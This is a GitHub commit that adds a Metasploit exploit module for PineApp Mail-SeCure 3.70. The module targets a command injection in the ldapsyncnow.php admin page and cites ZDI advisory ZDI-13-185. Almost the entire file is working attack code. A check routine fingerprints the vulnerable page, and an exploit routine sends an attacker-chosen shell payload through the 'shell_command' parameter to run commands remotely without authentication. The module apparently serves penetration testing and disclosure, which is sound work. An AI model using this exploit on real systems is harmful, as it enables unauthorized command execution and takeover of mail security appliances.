Skip to content

Commit f4e35b6

Browse files
author
jvazquez-r7
committed
Add module for ZDI-13-185
1 parent 7b7603a commit f4e35b6

File tree

1 file changed

+98
-0
lines changed

1 file changed

+98
-0
lines changed
Lines changed: 98 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,98 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
require 'msf/core'
9+
10+
class Metasploit3 < Msf::Exploit::Remote
11+
Rank = ExcellentRanking
12+
13+
include Msf::Exploit::Remote::HttpClient
14+
15+
def initialize(info = {})
16+
super(update_info(info,
17+
'Name' => 'PineApp Mail-SeCure ldapsyncnow.php Arbitrary Command Execution',
18+
'Description' => %q{
19+
This module exploits a command injection vulnerability on PineApp Mail-SeCure
20+
3.70. The vulnerability exists on the ldapsyncnow.php component, due to the insecure
21+
usage of the shell_exec() php function. This module has been tested successfully
22+
on PineApp Mail-SeCure 3.70.
23+
},
24+
'Author' =>
25+
[
26+
'Dave Weinstein', # Vulnerability discovery
27+
'juan vazquez' # Metasploit module
28+
],
29+
'License' => MSF_LICENSE,
30+
'References' =>
31+
[
32+
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-185/']
33+
],
34+
'Platform' => ['unix'],
35+
'Arch' => ARCH_CMD,
36+
'Privileged' => false,
37+
'Payload' =>
38+
{
39+
'Space' => 1024,
40+
'DisableNops' => true,
41+
'Compat' =>
42+
{
43+
'PayloadType' => 'cmd',
44+
'RequiredCmd' => 'generic perl python telnet'
45+
}
46+
},
47+
'Targets' =>
48+
[
49+
[ 'PineApp Mail-SeCure 3.70', { }]
50+
],
51+
'DefaultOptions' =>
52+
{
53+
'SSL' => true
54+
},
55+
'DefaultTarget' => 0,
56+
'DisclosureDate' => 'Jul 26 2013'
57+
))
58+
59+
register_options(
60+
[
61+
Opt::RPORT(7443)
62+
],
63+
self.class
64+
)
65+
66+
end
67+
68+
def my_uri
69+
return normalize_uri("/admin/ldapsyncnow.php")
70+
end
71+
72+
def check
73+
# Since atm of writing this exploit there isn't patch available,
74+
# checking for the vulnerable component should be a reliable test.
75+
res = send_request_cgi({
76+
'uri' => my_uri,
77+
'vars_get' => {
78+
'sync_now' =>'1'
79+
}
80+
})
81+
if res and res.code == 200 and res.body =~ /window\.setTimeout\('loaded\(\)', 2500\);/
82+
return Exploit::CheckCode::Appears
83+
end
84+
return Exploit::CheckCode::Safe
85+
end
86+
87+
def exploit
88+
print_status("#{rhost}:#{rport} - Executing payload...")
89+
send_request_cgi({
90+
'uri' => my_uri,
91+
'vars_get' => {
92+
'sync_now' =>'1', # must be 1 in order to trigger the vulnerability
93+
'shell_command' => payload.encoded
94+
}
95+
})
96+
end
97+
98+
end

0 commit comments

Comments
 (0)